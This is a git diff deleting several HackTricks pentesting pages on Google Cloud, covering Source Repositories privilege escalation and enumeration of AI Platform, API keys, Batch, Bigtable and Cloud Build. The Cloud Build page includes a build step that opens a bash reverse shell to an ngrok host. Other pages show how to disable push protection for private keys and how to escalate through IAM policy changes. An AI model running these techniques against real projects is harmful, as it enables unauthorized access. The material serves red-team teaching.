-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md b/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md
deleted file mode 100644
index 8ef9a508e..000000000
--- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md
+++ /dev/null
@@ -1,115 +0,0 @@
-# GCP - Sourcerepos Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Source Repositories
-
-For more information about Source Repositories check:
-
-{% content-ref url="../gcp-services/gcp-source-repositories-enum.md" %}
-[gcp-source-repositories-enum.md](../gcp-services/gcp-source-repositories-enum.md)
-{% endcontent-ref %}
-
-### `source.repos.get`
-
-With this permission it's possible to download the repository locally:
-
-```bash
-gcloud source repos clone <repo-name> --project=<project-uniq-name>
-```
-
-### `source.repos.update`
-
-A principal with this permission **will be able to write code inside a repository cloned with `gcloud source repos clone <repo>`**. But note that this permission cannot be attached to custom roles, so it must be given via a predefined role like:
-
-* Owner
-* Editor
-* Source Repository Administrator (`roles/source.admin`)
-* Source Repository Writer (`roles/source.writer`)
-
-To write just perform a regular **`git push`**.
-
-### `source.repos.setIamPolicy`
-
-With this permission an attacker could grant himself the previous permissions.
-
-### Secret access
-
-If the attacker has **access to the secrets** where the tokens are stored, he will be able to steal them. For more info about how to access a secret check:
-
-{% content-ref url="gcp-secretmanager-privesc.md" %}
-[gcp-secretmanager-privesc.md](gcp-secretmanager-privesc.md)
-{% endcontent-ref %}
-
-### Add SSH keys
-
-It's possible to **add ssh keys to the Source Repository project** in the web console. It makes a post request to **`/v1/sshKeys:add`** and can be configured in [https://source.cloud.google.com/user/ssh\_keys](https://source.cloud.google.com/user/ssh_keys)
-
-Once your ssh key is set, you can access a repo with:
-
-{% code overflow="wrap" %}
-```bash
-git clone ssh://username@domain.com@source.developers.google.com:2022/p/<proj-name>/r/<repo-name>
-```
-{% endcode %}
-
-And then use **`git`** commands are per usual.
-
-### Manual Credentials
-
-It's possible to create manual credentials to access the Source Repositories:
-
-<figure><img src="../../../.gitbook/assets/image (324).png" alt=""><figcaption></figcaption></figure>
-
-Clicking on the first link it will direct you to [https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3)
-
-Which will prompt an **Oauth authorization prompt** to give access to **Google Cloud Development**. So you will need either the **credentials of the user** or an **open session in the browser** for this.
-
-This will send you to a page with a **bash script to execute** and configure a git cookie in **`$HOME/.gitcookies`**
-
-<figure><img src="../../../.gitbook/assets/image (323).png" alt=""><figcaption></figcaption></figure>
-
-Executing the script you can then use git clone, push... and it will work.
-
-### `source.repos.updateProjectConfig`
-
-With this permission it's possible to disable Source Repositories default protection to not upload code containing Private Keys:
-
-```bash
-gcloud source project-configs update --disable-pushblock
-```
-
-You can also configure a different pub/sub topic or even disable it completely:
-
-```bash
-gcloud source project-configs update --remove-topic=REMOVE_TOPIC
-gcloud source project-configs update --remove-topic=UPDATE_TOPIC
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-ai-platform-enum.md b/pentesting-cloud/gcp-security/gcp-services/gcp-ai-platform-enum.md
deleted file mode 100644
index abbec6712..000000000
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-ai-platform-enum.md
+++ /dev/null
@@ -1,48 +0,0 @@
-# GCP - AI Platform Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## [AI Platform](https://cloud.google.com/sdk/gcloud/reference/ai-platform/) <a href="#reviewing-ai-platform-configurations" id="reviewing-ai-platform-configurations"></a>
-
-Google [**AI Platform**](https://cloud.google.com/ai-platform/) is another "**serverless**" offering for **machine learning projects**.
-
-There are a few areas here you can look for interesting information like models and jobs.
-
-```bash
-# Models
-gcloud ai-platform models list
-gcloud ai-platform models describe <model>
-gcloud ai-platform models get-iam-policy <model>
-
-# Jobs
-gcloud ai-platform jobs list
-gcloud ai-platform jobs describe <job>
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-api-keys-enum.md b/pentesting-cloud/gcp-security/gcp-services/gcp-api-keys-enum.md
deleted file mode 100644
index 0b4eea5f9..000000000
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-api-keys-enum.md
+++ /dev/null
@@ -1,71 +0,0 @@
-# GCP - API Keys Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Information
-
-In Google Cloud Platform (GCP), API keys are a simple encrypted string that **identifies an application without any principa**l. They are used to **access Google Cloud APIs** that do not require user context. This means they are often used in scenarios where the application is accessing its own data rather than user data.
-
-### Restrictions
-
-You can **apply restrictions to API keys** for enhanced security. For example, you can restrict the key to be **used only by certain IP addresses, webs, android apps, iOS apps**, or restrict it to **certain APIs or services** within GCP.
-
-### Enumeration
-
-It's possible to **see the restriction of an API key** (including GCP API endpoints restriction) using the verbs list or describe:
-
-```bash
-gcloud services api-keys list
-gcloud services api-keys describe <key-uuid>
-gcloud services api-keys list --show-deleted
-```
-
-{% hint style="info" %}
-It's possible to recover deleted keys before 30days passes, that's why you can list deleted keys.
-{% endhint %}
-
-### Privilege Escalation & Post Exploitation
-
-{% content-ref url="../gcp-privilege-escalation/gcp-apikeys-privesc.md" %}
-[gcp-apikeys-privesc.md](../gcp-privilege-escalation/gcp-apikeys-privesc.md)
-{% endcontent-ref %}
-
-### Unauthenticated Enum
-
-{% content-ref url="../gcp-unauthenticated-enum-and-access/gcp-api-keys-unauthenticated-enum.md" %}
-[gcp-api-keys-unauthenticated-enum.md](../gcp-unauthenticated-enum-and-access/gcp-api-keys-unauthenticated-enum.md)
-{% endcontent-ref %}
-
-### Persistence
-
-{% content-ref url="../gcp-persistence/gcp-api-keys-persistence.md" %}
-[gcp-api-keys-persistence.md](../gcp-persistence/gcp-api-keys-persistence.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-batch-enum.md b/pentesting-cloud/gcp-security/gcp-services/gcp-batch-enum.md
deleted file mode 100644
index 4cb12e714..000000000
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-batch-enum.md
+++ /dev/null
@@ -1,63 +0,0 @@
-# GCP - Batch Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Information
-
-**Google Cloud Platform (GCP) Batch Service** is designed for running **large-scale batch computing workloads**, automating the management, scheduling, and execution of batch jobs across scalable cloud resources. This service simplifies operations and optimizes costs by allowing users to leverage preemptible VMs and integrates seamlessly with other GCP services for comprehensive batch processing workflows. It's ideal for data processing, financial modeling, and scientific simulations.
-
-### Service Account
-
-Although (currently) it's not possible to select the SA that the batch job will be executed with, **it'll use the compute SA** (Editor permissions usually).
-
-## Enumeration
-
-{% code overflow="wrap" %}
-```bash
-# List jobs
-gcloud batch jobs list
-
-# Get job info
-gcloud batch jobs describe <job-name> --location <location>
-
-# List tasks
-gcloud batch tasks list --location <location> --job <job-name>
-
-# Gte info of tasks executions
-gcloud batch tasks describe projects/<proj-number>/locations/<location>/jobs/<job-name>/taskGroups/<group>/tasks/<num>
-```
-{% endcode %}
-
-## Privilege Escalation
-
-{% content-ref url="../gcp-privilege-escalation/gcp-batch-privesc.md" %}
-[gcp-batch-privesc.md](../gcp-privilege-escalation/gcp-batch-privesc.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-bigtable-enum.md b/pentesting-cloud/gcp-security/gcp-services/gcp-bigtable-enum.md
deleted file mode 100644
index 7d8c2c5e7..000000000
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-bigtable-enum.md
+++ /dev/null
@@ -1,58 +0,0 @@
-# GCP - Bigtable Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## [Bigtable](https://cloud.google.com/sdk/gcloud/reference/bigtable/) <a href="#cloud-bigtable" id="cloud-bigtable"></a>
-
-A fully managed, scalable NoSQL database service for large analytical and operational workloads with up to 99.999% availability. [Learn more](https://cloud.google.com/bigtable).
-
-```bash
-# Cloud Bigtable
-gcloud bigtable instances list
-gcloud bigtable instances describe <instance>
-gcloud bigtable instances get-iam-policy <instance>
-
-## Clusters
-gcloud bigtable clusters list
-gcloud bigtable clusters describe <cluster>
-
-## Backups
-gcloud bigtable backups list --instance <INSTANCE>
-gcloud bigtable backups describe --instance <INSTANCE> <backupname>
-gcloud bigtable backups get-iam-policy --instance <INSTANCE> <backupname>
-
-## Hot Tables
-gcloud bigtable hot-tablets list
-
-## App Profiles
-gcloud bigtable app-profiles list --instance <INSTANCE>
-gcloud bigtable app-profiles describe --instance <INSTANCE> <app-prof>
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-build-enum.md b/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-build-enum.md
deleted file mode 100644
index 18aef35d1..000000000
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-build-enum.md
+++ /dev/null
@@ -1,199 +0,0 @@
-# GCP - Cloud Build Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Information
-
-Google Cloud Build is a managed CI/CD platform that **automates software build** and release processes, integrating with **source code repositories** and supporting a wide range of programming languages. It **allows developers to build, test, and deploy code automatically** while providing flexibility to customize build steps and workflows.
-
-Each Cloud Build Trigger is **related to a Cloud Repository or directly connected with an external repository** (Github, Bitbucket and Gitlab).
-
-{% hint style="success" %}
-I couldn't see any way to steal the Github/Bitbucket token from here or from Cloud Repositories because when the repo is downloaded it's accessed via a [https://source.cloud.google.com/](https://source.cloud.google.com/) URL and Github is not accessed by the client.
-{% endhint %}
-
-### Events
-
-The Cloud Build can be triggered if:
-
-* **Push to a branch**: Specify the branch
-* **Push a new tag**: Specify the tag
-* P**ull request**: Specify the branch that receives the PR
-* **Manual Invocation**
-* **Pub/Sub message:** Specify the topic
-* **Webhook event**: Will expose a HTTPS URL and the request must be authenticated with a secret
-
-### Execution
-
-There are 3 options:
-
-* A yaml/json **specifying the commands** to execute. Usually: `/cloudbuild.yaml`
-  * Only one that can be specified “inline” in the web console and in the cli
-  * Most common option
-  * Relevant for unauthenticated access
-* A **Dockerfile** to build
-* A **Buildpack** to build
-
-### SA Permissions
-
-The **Service Account has the `cloud-platform` scope**, so it can **use all the privileges.** If **no SA is specified** (like when doing submit) the **default SA** `<proj-number>@cloudbuild.gserviceaccount.com` will be **used.**
-
-By default no permissions are given but it's fairly easy to give it some:
-
-<figure><img src="../../../.gitbook/assets/image (16).png" alt=""><figcaption></figcaption></figure>
-
-### Approvals
-
-It's possible to config a Cloud Build to **require approvals for build executions** (disabled by default).
-
-### PR Approvals
-
-When the trigger is PR because **anyone can perform PRs to public repositories** it would be very dangerous to just **allow the execution of the trigger with any PR**. Therefore, by default, the execution will only be **automatic for owners and collaborators**, and in order to execute the trigger with other users PRs an owner or collaborator must comment `/gcbrun`.
-
-<figure><img src="../../../.gitbook/assets/image (339).png" alt="" width="563"><figcaption></figcaption></figure>
-
-### Connections & Repositories
-
-Connections can be created over:
-
-* **GitHub:** It will show an OAuth prompt asking for permissions to **get a Github token** that will be stored inside the **Secret Manager.**
-* **GitHub Enterprise:** It will ask to install a **GithubApp**. An **authentication token** from your GitHub Enterprise host will be created and stored in this project as a S**ecret Manager** secret.
-* **GitLab / Enterprise:** You need to **provide the API access token and the Read API access toke**n which will stored in the **Secret Manager.**
-
-Once a connection is generated, you can use it to **link repositories that the Github account has access** to.
-
-This option is available through the button:
-
-<figure><img src="../../../.gitbook/assets/image (17).png" alt=""><figcaption></figcaption></figure>
-
-{% hint style="success" %}
-Note that repositories connected with this method are **only available in Triggers using 2nd generation.**
-{% endhint %}
-
-### Connect a Repository
-
-This is not the same as a **`connection`**. This allows **different** ways to get **access to a Github or Bitbucket** repository but **doesn't generate a connection object, but it does generate a repository object (of 1st generation).**
-
-This option is available through the button:
-
-<figure><img src="../../../.gitbook/assets/image (18).png" alt=""><figcaption></figcaption></figure>
-
-### Storage
-
-Sometimes Cloud Build will **generate a new storage to store the files for the trigger**. This happens for example in the example that GCP offers with:
-
-```bash
-git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
-  cd cloud-console-sample-build && \
-  gcloud builds submit --config cloudbuild.yaml --region=global
-```
-
-A Storage bucket called [security-devbox\_cloudbuild](https://console.cloud.google.com/storage/browser/security-devbox_cloudbuild;tab=objects?forceOnBucketsSortingFiltering=false\&project=security-devbox) is created to store a `.tgz` with the files to be used.
-
-### Get shell
-
-```yaml
-steps:
-  - name: bash
-    script: |
-      #!/usr/bin/env bash
-      bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
-options:
-  logging: CLOUD_LOGGING_ONLY
-```
-
-Install gcloud inside cloud build:
-
-```bash
-# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
-curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
-mkdir -p /usr/local/gcloud 
-tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
-/usr/local/gcloud/google-cloud-sdk/install.sh
-```
-
-### Enumeration
-
-You could find **sensitive info in build configs and logs**.
-
-```bash
-# Get configured triggers configurations
-gcloud builds triggers list # Check for the words github and bitbucket
-gcloud builds triggers describe <trigger-name>
-
-# Get build executions
-gcloud builds list
-gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
-gcloud builds log <build-uuid> # Get build logs
-
-# List all connections of each region
-regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
-for region in $regions; do
-    echo "Listing build connections in region: $region"
-    connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
-    if [[ ${#connections[@]} -eq 0 ]]; then
-        echo "No connections found in region $region."
-    else
-        for connection in $connections; do
-            echo "Describing connection $connection in region $region"
-            gcloud builds connections describe "$connection" --region="$region"
-            echo "-----------------------------------------"
-        done
-    fi
-    echo "========================================="
-done
-
-# List all worker-pools
-regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
-for region in $regions; do
-    echo "Listing build worker-pools in region: $region"
-    gcloud builds worker-pools list --region="$region"
-    echo "-----------------------------------------"
-done
-```
-
-### Privilege Escalation
-
-{% content-ref url="../gcp-privilege-escalation/gcp-cloudbuild-privesc.md" %}
-[gcp-cloudbuild-privesc.md](../gcp-privilege-escalation/gcp-cloudbuild-privesc.md)
-{% endcontent-ref %}
-
-### Unauthenticated Access
-
-{% content-ref url="../gcp-unauthenticated-enum-and-access/gcp-cloud-build-unauthenticated-enum.md" %}
-[gcp-cloud-build-unauthenticated-enum.md](../gcp-unauthenticated-enum-and-access/gcp-cloud-build-unauthenticated-enum.md)
-{% endcontent-ref %}
-
-### Post Exploitation
-
-{% content-ref url="../gcp-post-exploitation/gcp-cloud-build-post-exploitation.md" %}
-[gcp-cloud-build-post-exploitation.md](../gcp-post-exploitation/gcp-cloud-build-post-exploitation.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-functions-enum.md b/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-functions-enum.md
deleted file mode 100644
index f12757734..000000000
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-functions-enum.md
+++ /dev/null
@@ -1,135 +0,0 @@
-# GCP - Cloud Functions Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
